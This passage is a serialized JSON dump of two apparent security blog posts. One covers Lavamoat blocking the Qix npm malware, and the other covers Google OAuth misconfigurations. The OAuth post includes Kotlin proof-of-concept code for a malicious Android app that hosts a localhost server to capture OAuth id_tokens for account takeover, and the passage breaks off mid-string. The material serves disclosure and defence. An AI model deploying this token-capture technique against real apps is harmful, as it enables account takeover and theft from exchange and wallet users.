\"@ethereumjs/util>ethereum-cryptography\"",{"type":21,"tag":198,"props":99723,"children":99724},{"style":211},[99725],{"type":27,"value":16136},{"type":21,"tag":198,"props":99727,"children":99728},{"style":249},[99729],{"type":27,"value":37958},{"type":21,"tag":198,"props":99731,"children":99732},{"class":200,"line":477},[99733],{"type":21,"tag":198,"props":99734,"children":99735},{"style":211},[99736],{"type":27,"value":797},{"type":21,"tag":198,"props":99738,"children":99739},{"class":200,"line":494},[99740],{"type":21,"tag":198,"props":99741,"children":99742},{"style":211},[99743],{"type":27,"value":880},{"type":21,"tag":198,"props":99745,"children":99746},{"class":200,"line":515},[99747],{"type":21,"tag":198,"props":99748,"children":99749},{"style":211},[99750],{"type":27,"value":1120},{"type":21,"tag":30,"props":99752,"children":99753},{},[99754,99756,99762,99764,99770,99771,99776,99778,99784,99785,99791],{"type":27,"value":99755},"In this example, it restricts the ",{"type":21,"tag":194,"props":99757,"children":99759},{"className":99758},[],[99760],{"type":27,"value":99761},"@ethereumjs/util",{"type":27,"value":99763}," package to use only ",{"type":21,"tag":194,"props":99765,"children":99767},{"className":99766},[],[99768],{"type":27,"value":99769},"console.warn",{"type":27,"value":11801},{"type":21,"tag":194,"props":99772,"children":99774},{"className":99773},[],[99775],{"type":27,"value":34873},{"type":27,"value":99777}," functions, and to include only ",{"type":21,"tag":194,"props":99779,"children":99781},{"className":99780},[],[99782],{"type":27,"value":99783},"@ethereumjs/rlp",{"type":27,"value":11801},{"type":21,"tag":194,"props":99786,"children":99788},{"className":99787},[],[99789],{"type":27,"value":99790},"ethereum-cryptography",{"type":27,"value":99792}," packages.",{"type":21,"tag":30,"props":99794,"children":99795},{},[99796],{"type":27,"value":99797},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":21,"tag":30,"props":99799,"children":99800},{},[99801,99803,99809],{"type":27,"value":99802},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":21,"tag":34,"props":99804,"children":99807},{"href":99805,"rel":99806},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[38],[99808],{"type":27,"value":38140},{"type":27,"value":658},{"type":21,"tag":59,"props":99811,"children":99813},{"id":99812},"lavamoat-vs-qix-malware",[99814],{"type":27,"value":99815},"Lavamoat vs Qix Malware",{"type":21,"tag":30,"props":99817,"children":99818},{},[99819,99821,99826],{"type":27,"value":99820},"If a dApp were compromised with the Qix malware (say it used ",{"type":21,"tag":194,"props":99822,"children":99824},{"className":99823},[],[99825],{"type":27,"value":97666},{"type":27,"value":99827},"), it would need to perform the following actions to drain funds from a wallet:",{"type":21,"tag":71,"props":99829,"children":99830},{},[99831,99843,99854,99865],{"type":21,"tag":75,"props":99832,"children":99833},{},[99834,99836,99841],{"type":27,"value":99835},"Replace ",{"type":21,"tag":194,"props":99837,"children":99839},{"className":99838},[],[99840],{"type":27,"value":34873},{"type":27,"value":99842}," function to a custom one",{"type":21,"tag":75,"props":99844,"children":99845},{},[99846,99848],{"type":27,"value":99847},"Access ",{"type":21,"tag":194,"props":99849,"children":99851},{"className":99850},[],[99852],{"type":27,"value":99853},"window.ethereum",{"type":21,"tag":75,"props":99855,"children":99856},{},[99857,99859,99864],{"type":27,"value":99858},"Call original ",{"type":21,"tag":194,"props":99860,"children":99862},{"className":99861},[],[99863],{"type":27,"value":34873},{"type":27,"value":2000},{"type":21,"tag":75,"props":99866,"children":99867},{},[99868],{"type":27,"value":99869},"Plus other actions not relevant here",{"type":21,"tag":30,"props":99871,"children":99872},{},[99873,99875,99881],{"type":27,"value":99874},"If the dApp is using Lavamoat with a generated policy for ",{"type":21,"tag":194,"props":99876,"children":99878},{"className":99877},[],[99879],{"type":27,"value":99880},"chalk 5.6.0",{"type":27,"value":99882}," (non-malicious version) it would look like this:",{"type":21,"tag":187,"props":99884,"children":99886},{"code":99885,"language":2119,"meta":7,"className":34775,"style":7},"\"chalk\": {\n \"globals\": {\n \"navigator.userAgent\": true,\n \"navigator.userAgentData\": true\n }\n },\n",[99887],{"type":21,"tag":194,"props":99888,"children":99889},{"__ignoreMap":7},[99890,99902,99913,99933,99949,99956],{"type":21,"tag":198,"props":99891,"children":99892},{"class":200,"line":201},[99893,99898],{"type":21,"tag":198,"props":99894,"children":99895},{"style":205},[99896],{"type":27,"value":99897},"\"chalk\"",{"type":21,"tag":198,"props":99899,"children":99900},{"style":211},[99901],{"type":27,"value":214},{"type":21,"tag":198,"props":99903,"children":99904},{"class":200,"line":217},[99905,99909],{"type":21,"tag":198,"props":99906,"children":99907},{"style":226},[99908],{"type":27,"value":223},{"type":21,"tag":198,"props":99910,"children":99911},{"style":211},[99912],{"type":27,"value":214},{"type":21,"tag":198,"props":99914,"children":99915},{"class":200,"line":236},[99916,99921,99925,99929],{"type":21,"tag":198,"props":99917,"children":99918},{"style":226},[99919],{"type":27,"value":99920}," \"navigator.userAgent\"",{"type":21,"tag":198,"props":99922,"children":99923},{"style":211},[99924],{"type":27,"value":16136},{"type":21,"tag":198,"props":99926,"children":99927},{"style":249},[99928],{"type":27,"value":4806},{"type":21,"tag":198,"props":99930,"children":99931},{"style":211},[99932],{"type":27,"value":257},{"type":21,"tag":198,"props":99934,"children":99935},{"class":200,"line":260},[99936,99941,99945],{"type":21,"tag":198,"props":99937,"children":99938},{"style":226},[99939],{"type":27,"value":99940}," \"navigator.userAgentData\"",{"type":21,"tag":198,"props":99942,"children":99943},{"style":211},[99944],{"type":27,"value":16136},{"type":21,"tag":198,"props":99946,"children":99947},{"style":249},[99948],{"type":27,"value":37958},{"type":21,"tag":198,"props":99950,"children":99951},{"class":200,"line":281},[99952],{"type":21,"tag":198,"props":99953,"children":99954},{"style":211},[99955],{"type":27,"value":797},{"type":21,"tag":198,"props":99957,"children":99958},{"class":200,"line":302},[99959],{"type":21,"tag":198,"props":99960,"children":99961},{"style":211},[99962],{"type":27,"value":26186},{"type":21,"tag":30,"props":99964,"children":99965},{},[99966,99968,99974],{"type":27,"value":99967},"That means that the chalk dependency can only access these two global attributes from ",{"type":21,"tag":194,"props":99969,"children":99971},{"className":99970},[],[99972],{"type":27,"value":99973},"navigator",{"type":27,"value":658},{"type":21,"tag":30,"props":99976,"children":99977},{},[99978,99980,99986],{"type":27,"value":99979},"When the compromised dApp would execute the malicious payload of ",{"type":21,"tag":194,"props":99981,"children":99983},{"className":99982},[],[99984],{"type":27,"value":99985},"chalk v5.6.1",{"type":27,"value":99987}," it would fail due to insufficient permissions:",{"type":21,"tag":30,"props":99989,"children":99990},{},[99991],{"type":21,"tag":1376,"props":99992,"children":99994},{"alt":50954,"src":99993},"/posts/supply-chain-attcks/error.png",[],{"type":21,"tag":30,"props":99996,"children":99997},{},[99998,100000,100005],{"type":27,"value":99999},"This error shows that the malware failed since it cannot redefine ",{"type":21,"tag":194,"props":100001,"children":100003},{"className":100002},[],[100004],{"type":27,"value":34873},{"type":27,"value":3319},{"type":21,"tag":187,"props":100007,"children":100009},{"code":100008},"TypeError#1: Cannot define property fetch, object is not extensible\n",[100010],{"type":21,"tag":194,"props":100011,"children":100012},{"__ignoreMap":7},[100013],{"type":27,"value":100008},{"type":21,"tag":22,"props":100015,"children":100017},{"id":100016},"lavamoat-in-practice",[100018],{"type":27,"value":100019},"Lavamoat In Practice",{"type":21,"tag":30,"props":100021,"children":100022},{},[100023,100025,100032],{"type":27,"value":100024},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":21,"tag":34,"props":100026,"children":100029},{"href":100027,"rel":100028},"https://osec.io/reports/lavamoat_audit_final.pdf",[38],[100030],{"type":27,"value":100031},"see the audit report",{"type":27,"value":3394},{"type":21,"tag":30,"props":100034,"children":100035},{},[100036],{"type":27,"value":100037},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":21,"tag":22,"props":100039,"children":100040},{"id":76179},[100041],{"type":27,"value":76182},{"type":21,"tag":30,"props":100043,"children":100044},{},[100045],{"type":27,"value":100046},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":21,"tag":30,"props":100048,"children":100049},{},[100050,100052,100057],{"type":27,"value":100051},"Version pinning and ",{"type":21,"tag":194,"props":100053,"children":100055},{"className":100054},[],[100056],{"type":27,"value":99493},{"type":27,"value":100058}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":21,"tag":3645,"props":100060,"children":100061},{},[100062],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":100064},[100065,100068,100069,100078,100079],{"id":97681,"depth":217,"text":97684,"children":100066},[100067],{"id":99316,"depth":236,"text":99319},{"id":99327,"depth":217,"text":99330},{"id":99343,"depth":217,"text":99346,"children":100070},[100071,100073,100075,100077],{"id":99354,"depth":236,"text":100072},"1. Version pinning in package.json",{"id":99484,"depth":236,"text":100074},"2. Use npm ci",{"id":99521,"depth":236,"text":100076},"3. Implement Lavamoat",{"id":99812,"depth":236,"text":99815},{"id":100016,"depth":217,"text":100019},{"id":76179,"depth":217,"text":76182},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":100084,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":100085,"description":100086,"date":100087,"author":100088,"image":100089,"isFeatured":16,"onBlogPage":16,"tags":100091,"body":100094,"_type":3671,"_id":102425,"_source":3673,"_file":102426,"_stem":102427,"_extension":3676},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[11,12],{"src":100090,"width":97650,"height":14430},"/posts/oauth-misconfigurations/title.png",[100092,100093],"oAuth","exchanges",{"type":18,"children":100095,"toc":102412},[100096,100102,100107,100113,100133,100139,100144,100157,100162,100170,100184,100193,100202,100216,100224,100235,100295,100301,100313,100362,100368,100373,100386,100393,100404,100424,100443,100464,100470,100483,100488,100494,100513,101138,101143,101156,102017,102022,102027,102033,102038,102044,102049,102062,102102,102108,102121,102126,102159,102164,102169,102194,102199,102211,102368,102373,102377,102389,102394,102398,102403,102408],{"type":21,"tag":22,"props":100097,"children":100099},{"id":100098},"exploiting-oauth",[100100],{"type":27,"value":100101},"Exploiting OAuth",{"type":21,"tag":30,"props":100103,"children":100104},{},[100105],{"type":27,"value":100106},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":21,"tag":59,"props":100108,"children":100110},{"id":100109},"google-authentication-flows",[100111],{"type":27,"value":100112},"Google Authentication Flows",{"type":21,"tag":30,"props":100114,"children":100115},{},[100116,100118,100124,100126,100131],{"type":27,"value":100117},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":21,"tag":194,"props":100119,"children":100121},{"className":100120},[],[100122],{"type":27,"value":100123},"postMessage",{"type":27,"value":100125}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":21,"tag":194,"props":100127,"children":100129},{"className":100128},[],[100130],{"type":27,"value":70145},{"type":27,"value":100132}," to send the token back to the RP.",{"type":21,"tag":162,"props":100134,"children":100136},{"id":100135},"gsi-new-flow",[100137],{"type":27,"value":100138},"GSI (New Flow)",{"type":21,"tag":30,"props":100140,"children":100141},{},[100142],{"type":27,"value":100143},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":21,"tag":138,"props":100145,"children":100146},{},[100147,100152],{"type":21,"tag":75,"props":100148,"children":100149},{},[100150],{"type":27,"value":100151},"Using FedCM API",{"type":21,"tag":75,"props":100153,"children":100154},{},[100155],{"type":27,"value":100156},"Without using FedCM API",{"type":21,"tag":30,"props":100158,"children":100159},{},[100160],{"type":27,"value":100161},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":21,"tag":30,"props":100163,"children":100164},{},[100165],{"type":21,"tag":6137,"props":100166,"children":100167},{},[100168],{"type":27,"value":100169},"FedCM Method",{"type":21,"tag":30,"props":100171,"children":100172},{},[100173,100175,100182],{"type":27,"value":100174},"The FedCM method basically follows this ",{"type":21,"tag":34,"props":100176,"children":100179},{"href":100177,"rel":100178},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[38],[100180],{"type":27,"value":100181},"user experience",{"type":27,"value":100183},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":21,"tag":30,"props":100185,"children":100186},{},[100187,100189],{"type":27,"value":100188},"The normal flow, clicking the \"sign in\" button:\n",{"type":21,"tag":1376,"props":100190,"children":100192},{"alt":50954,"src":100191},"/posts/oauth-misconfigurations/image1.png",[],{"type":21,"tag":30,"props":100194,"children":100195},{},[100196,100198],{"type":27,"value":100197},"One-Tap popup shown when you open the page:\n",{"type":21,"tag":1376,"props":100199,"children":100201},{"alt":50954,"src":100200},"/posts/oauth-misconfigurations/image2.png",[],{"type":21,"tag":30,"props":100203,"children":100204},{},[100205,100207,100214],{"type":27,"value":100206},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":21,"tag":34,"props":100208,"children":100211},{"href":100209,"rel":100210},"https://github.com/w3c-fedid/FedCM/issues/429",[38],[100212],{"type":27,"value":100213},"FedCM auto-reauthentication",{"type":27,"value":100215},", which has certain preconditions that must be met.",{"type":21,"tag":30,"props":100217,"children":100218},{},[100219],{"type":21,"tag":6137,"props":100220,"children":100221},{},[100222],{"type":27,"value":100223},"Non-FedCM Method",{"type":21,"tag":30,"props":100225,"children":100226},{},[100227,100229,100234],{"type":27,"value":100228},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":21,"tag":194,"props":100230,"children":100232},{"className":100231},[],[100233],{"type":27,"value":100123},{"type":27,"value":185},{"type":21,"tag":71,"props":100236,"children":100237},{},[100238,100243,100267,100272,100283],{"type":21,"tag":75,"props":100239,"children":100240},{},[100241],{"type":27,"value":100242},"The user clicks the sign in button",{"type":21,"tag":75,"props":100244,"children":100245},{},[100246,100248,100254,100256,100261,100262],{"type":27,"value":100247},"RP opens a popup/iframe to ",{"type":21,"tag":34,"props":100249,"children":100252},{"href":100250,"rel":100251},"https://accounts.google.com/o/oauth2/v2/auth",[38],[100253],{"type":27,"value":100250},{"type":27,"value":100255}," with some important parameters like ",{"type":21,"tag":194,"props":100257,"children":100259},{"className":100258},[],[100260],{"type":27,"value":69977},{"type":27,"value":11801},{"type":21,"tag":194,"props":100263,"children":100265},{"className":100264},[],[100266],{"type":27,"value":40891},{"type":21,"tag":75,"props":100268,"children":100269},{},[100270],{"type":27,"value":100271},"The user clicks the \"Continue\" button to authorize authentication",{"type":21,"tag":75,"props":100273,"children":100274},{},[100275,100277],{"type":27,"value":100276},"They get redirected to ",{"type":21,"tag":34,"props":100278,"children":100281},{"href":100279,"rel":100280},"https://accounts.google.com/gsi/transform",[38],[100282],{"type":27,"value":100279},{"type":21,"tag":75,"props":100284,"children":100285},{},[100286,100288,100293],{"type":27,"value":100287},"/gsi/transform sends the token back to the RP via ",{"type":21,"tag":194,"props":100289,"children":100291},{"className":100290},[],[100292],{"type":27,"value":100123},{"type":27,"value":100294}," (after some SYN/ACK messages)",{"type":21,"tag":162,"props":100296,"children":100298},{"id":100297},"oauth-20-old-flow",[100299],{"type":27,"value":100300},"OAuth 2.0 Old Flow",{"type":21,"tag":30,"props":100302,"children":100303},{},[100304,100306,100311],{"type":27,"value":100305},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":21,"tag":194,"props":100307,"children":100309},{"className":100308},[],[100310],{"type":27,"value":70145},{"type":27,"value":100312}," provided in the URL and validated by a whitelist configuration:",{"type":21,"tag":71,"props":100314,"children":100315},{},[100316,100320,100341,100345],{"type":21,"tag":75,"props":100317,"children":100318},{},[100319],{"type":27,"value":100242},{"type":21,"tag":75,"props":100321,"children":100322},{},[100323,100324,100329,100330,100335,100336],{"type":27,"value":100247},{"type":21,"tag":34,"props":100325,"children":100327},{"href":100250,"rel":100326},[38],[100328],{"type":27,"value":100250},{"type":27,"value":100255},{"type":21,"tag":194,"props":100331,"children":100333},{"className":100332},[],[100334],{"type":27,"value":69977},{"type":27,"value":11801},{"type":21,"tag":194,"props":100337,"children":100339},{"className":100338},[],[100340],{"type":27,"value":70145},{"type":21,"tag":75,"props":100342,"children":100343},{},[100344],{"type":27,"value":100271},{"type":21,"tag":75,"props":100346,"children":100347},{},[100348,100349,100354,100356],{"type":27,"value":100276},{"type":21,"tag":194,"props":100350,"children":100352},{"className":100351},[],[100353],{"type":27,"value":70145},{"type":27,"value":100355}," with the token in the query parameters or ",{"type":21,"tag":194,"props":100357,"children":100359},{"className":100358},[],[100360],{"type":27,"value":100361},"location.hash",{"type":21,"tag":162,"props":100363,"children":100365},{"id":100364},"different-configurations",[100366],{"type":27,"value":100367},"Different Configurations",{"type":21,"tag":30,"props":100369,"children":100370},{},[100371],{"type":27,"value":100372},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":21,"tag":138,"props":100374,"children":100375},{},[100376,100381],{"type":21,"tag":75,"props":100377,"children":100378},{},[100379],{"type":27,"value":100380},"Authorized origins",{"type":21,"tag":75,"props":100382,"children":100383},{},[100384],{"type":27,"value":100385},"Authorized redirect URIs",{"type":21,"tag":30,"props":100387,"children":100388},{},[100389],{"type":21,"tag":1376,"props":100390,"children":100392},{"alt":50954,"src":100391},"/posts/oauth-misconfigurations/image3.png",[],{"type":21,"tag":30,"props":100394,"children":100395},{},[100396,100398,100403],{"type":27,"value":100397},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":21,"tag":194,"props":100399,"children":100401},{"className":100400},[],[100402],{"type":27,"value":69977},{"type":27,"value":658},{"type":21,"tag":30,"props":100405,"children":100406},{},[100407,100409,100415,100417,100422],{"type":27,"value":100408},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":21,"tag":194,"props":100410,"children":100412},{"className":100411},[],[100413],{"type":27,"value":100414},"/oauth2/v2/auth",{"type":27,"value":100416}," by checking the ",{"type":21,"tag":194,"props":100418,"children":100420},{"className":100419},[],[100421],{"type":27,"value":40891},{"type":27,"value":100423}," query parameter.",{"type":21,"tag":30,"props":100425,"children":100426},{},[100427,100429,100434,100436,100441],{"type":27,"value":100428},"In the old flow, the ",{"type":21,"tag":194,"props":100430,"children":100432},{"className":100431},[],[100433],{"type":27,"value":70145},{"type":27,"value":100435}," parameter passed in the ",{"type":21,"tag":194,"props":100437,"children":100439},{"className":100438},[],[100440],{"type":27,"value":100414},{"type":27,"value":100442}," endpoint is validated against the authorized redirect URIs.",{"type":21,"tag":30,"props":100444,"children":100445},{},[100446,100448,100453,100455,100462],{"type":27,"value":100447},"Note that the new GSI flow can also have a different flow using ",{"type":21,"tag":194,"props":100449,"children":100451},{"className":100450},[],[100452],{"type":27,"value":70145},{"type":27,"value":100454}," validation. To execute this flow, you need to specify ",{"type":21,"tag":34,"props":100456,"children":100459},{"href":100457,"rel":100458},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[38],[100460],{"type":27,"value":100461},"login_uri",{"type":27,"value":100463}," while using the SDK.",{"type":21,"tag":59,"props":100465,"children":100467},{"id":100466},"localhost-exploit",[100468],{"type":27,"value":100469},"Localhost Exploit",{"type":21,"tag":30,"props":100471,"children":100472},{},[100473,100475,100481],{"type":27,"value":100474},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":21,"tag":194,"props":100476,"children":100478},{"className":100477},[],[100479],{"type":27,"value":100480},"localhost",{"type":27,"value":100482}," origin because it is considered trusted for local testing.",{"type":21,"tag":30,"props":100484,"children":100485},{},[100486],{"type":27,"value":100487},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":21,"tag":162,"props":100489,"children":100491},{"id":100490},"exploit",[100492],{"type":27,"value":100493},"Exploit",{"type":21,"tag":30,"props":100495,"children":100496},{},[100497,100499,100504,100505,100511],{"type":27,"value":100498},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":21,"tag":194,"props":100500,"children":100502},{"className":100501},[],[100503],{"type":27,"value":100361},{"type":27,"value":13940},{"type":21,"tag":194,"props":100506,"children":100508},{"className":100507},[],[100509],{"type":27,"value":100510},"location.search",{"type":27,"value":100512},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":21,"tag":187,"props":100514,"children":100518},{"className":100515,"code":100516,"language":100517,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.hash;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n","kt",[100519],{"type":21,"tag":194,"props":100520,"children":100521},{"__ignoreMap":7},[100522,100551,100570,100577,100584,100603,100614,100625,100656,100679,100726,100733,100740,100747,100754,100774,100805,100816,100823,100830,100849,100872,100883,100902,100917,100928,100951,100986,101005,101012,101023,101046,101057,101069,101076,101083,101090,101097,101104,101131],{"type":21,"tag":198,"props":100523,"children":100524},{"class":200,"line":201},[100525,100530,100534,100538,100542,100546],{"type":21,"tag":198,"props":100526,"children":100527},{"style":249},[100528],{"type":27,"value":100529}," override",{"type":21,"tag":198,"props":100531,"children":100532},{"style":249},[100533],{"type":27,"value":7019},{"type":21,"tag":198,"props":100535,"children":100536},{"style":698},[100537],{"type":27,"value":70833},{"type":21,"tag":198,"props":100539,"children":100540},{"style":211},[100541],{"type":27,"value":70838},{"type":21,"tag":198,"props":100543,"children":100544},{"style":1966},[100545],{"type":27,"value":70843},{"type":21,"tag":198,"props":100547,"children":100548},{"style":211},[100549],{"type":27,"value":100550},"?){\n",{"type":21,"tag":198,"props":100552,"children":100553},{"class":200,"line":217},[100554,100558,100562,100566],{"type":21,"tag":198,"props":100555,"children":100556},{"style":249},[100557],{"type":27,"value":70856},{"type":21,"tag":198,"props":100559,"children":100560},{"style":211},[100561],{"type":27,"value":658},{"type":21,"tag":198,"props":100563,"children":100564},{"style":698},[100565],{"type":27,"value":70865},{"type":21,"tag":198,"props":100567,"children":100568},{"style":211},[100569],{"type":27,"value":70870},{"type":21,"tag":198,"props":100571,"children":100572},{"class":200,"line":236},[100573],{"type":21,"tag":198,"props":100574,"children":100575},{"emptyLinePlaceholder":16},[100576],{"type":27,"value":1283},{"type":21,"tag":198,"props":100578,"children":100579},{"class":200,"line":260},[100580],{"type":21,"tag":198,"props":100581,"children":100582},{"style":1233},[100583],{"type":27,"value":70885},{"type":21,"tag":198,"props":100585,"children":100586},{"class":200,"line":281},[100587,100591,100595,100599],{"type":21,"tag":198,"props":100588,"children":100589},{"style":698},[100590],{"type":27,"value":70893},{"type":21,"tag":198,"props":100592,"children":100593},{"style":211},[100594],{"type":27,"value":70898},{"type":21,"tag":198,"props":100596,"children":100597},{"style":698},[100598],{"type":27,"value":70903},{"type":21,"tag":198,"props":100600,"children":100601},{"style":211},[100602],{"type":27,"value":233},{"type":21,"tag":198,"props":100604,"children":100605},{"class":200,"line":302},[100606,100610],{"type":21,"tag":198,"props":100607,"children":100608},{"style":640},[100609],{"type":27,"value":70915},{"type":21,"tag":198,"props":100611,"children":100612},{"style":211},[100613],{"type":27,"value":233},{"type":21,"tag":198,"props":100615,"children":100616},{"class":200,"line":323},[100617,100621],{"type":21,"tag":198,"props":100618,"children":100619},{"style":698},[100620],{"type":27,"value":70927},{"type":21,"tag":198,"props":100622,"children":100623},{"style":211},[100624],{"type":27,"value":1837},{"type":21,"tag":198,"props":100626,"children":100627},{"class":200,"line":344},[100628,100632,100636,100640,100644,100648,100652],{"type":21,"tag":198,"props":100629,"children":100630},{"style":211},[100631],{"type":27,"value":70939},{"type":21,"tag":198,"props":100633,"children":100634},{"style":698},[100635],{"type":27,"value":70944},{"type":21,"tag":198,"props":100637,"children":100638},{"style":211},[100639],{"type":27,"value":706},{"type":21,"tag":198,"props":100641,"children":100642},{"style":205},[100643],{"type":27,"value":70953},{"type":21,"tag":198,"props":100645,"children":100646},{"style":211},[100647],{"type":27,"value":828},{"type":21,"tag":198,"props":100649,"children":100650},{"style":205},[100651],{"type":27,"value":70962},{"type":21,"tag":198,"props":100653,"children":100654},{"style":211},[100655],{"type":27,"value":789},{"type":21,"tag":198,"props":100657,"children":100658},{"class":200,"line":365},[100659,100663,100667,100671,100675],{"type":21,"tag":198,"props":100660,"children":100661},{"style":211},[100662],{"type":27,"value":70974},{"type":21,"tag":198,"props":100664,"children":100665},{"style":249},[100666],{"type":27,"value":1498},{"type":21,"tag":198,"props":100668,"children":100669},{"style":211},[100670],{"type":27,"value":70983},{"type":21,"tag":198,"props":100672,"children":100673},{"style":1966},[100674],{"type":27,"value":70988},{"type":21,"tag":198,"props":100676,"children":100677},{"style":211},[100678],{"type":27,"value":668},{"type":21,"tag":198,"props":100680,"children":100681},{"class":200,"line":386},[100682,100686,100690,100694,100698,100702,100706,100710,100714,100718,100722],{"type":21,"tag":198,"props":100683,"children":100684},{"style":211},[100685],{"type":27,"value":70939},{"type":21,"tag":198,"props":100687,"children":100688},{"style":698},[100689],{"type":27,"value":51830},{"type":21,"tag":198,"props":100691,"children":100692},{"style":211},[100693],{"type":27,"value":706},{"type":21,"tag":198,"props":100695,"children":100696},{"style":205},[100697],{"type":27,"value":70953},{"type":21,"tag":198,"props":100699,"children":100700},{"style":211},[100701],{"type":27,"value":828},{"type":21,"tag":198,"props":100703,"children":100704},{"style":205},[100705],{"type":27,"value":71020},{"type":21,"tag":198,"props":100707,"children":100708},{"style":249},[100709],{"type":27,"value":756},{"type":21,"tag":198,"props":100711,"children":100712},{"style":683},[100713],{"type":27,"value":71029},{"type":21,"tag":198,"props":100715,"children":100716},{"style":249},[100717],{"type":27,"value":779},{"type":21,"tag":198,"props":100719,"children":100720},{"style":205},[100721],{"type":27,"value":20854},{"type":21,"tag":198,"props":100723,"children":100724},{"style":211},[100725],{"type":27,"value":71042},{"type":21,"tag":198,"props":100727,"children":100728},{"class":200,"line":408},[100729],{"type":21,"tag":198,"props":100730,"children":100731},{"style":211},[100732],{"type":27,"value":59262},{"type":21,"tag":198,"props":100734,"children":100735},{"class":200,"line":429},[100736],{"type":21,"tag":198,"props":100737,"children":100738},{"style":211},[100739],{"type":27,"value":1160},{"type":21,"tag":198,"props":100741,"children":100742},{"class":200,"line":450},[100743],{"type":21,"tag":198,"props":100744,"children":100745},{"emptyLinePlaceholder":16},[100746],{"type":27,"value":1283},{"type":21,"tag":198,"props":100748,"children":100749},{"class":200,"line":468},[100750],{"type":21,"tag":198,"props":100751,"children":100752},{"style":1233},[100753],{"type":27,"value":71071},{"type":21,"tag":198,"props":100755,"children":100756},{"class":200,"line":477},[100757,100761,100765,100769],{"type":21,"tag":198,"props":100758,"children":100759},{"style":249},[100760],{"type":27,"value":71079},{"type":21,"tag":198,"props":100762,"children":100763},{"style":211},[100764],{"type":27,"value":71084},{"type":21,"tag":198,"props":100766,"children":100767},{"style":683},[100768],{"type":27,"value":3174},{"type":21,"tag":198,"props":100770,"children":100771},{"style":205},[100772],{"type":27,"value":100773}," 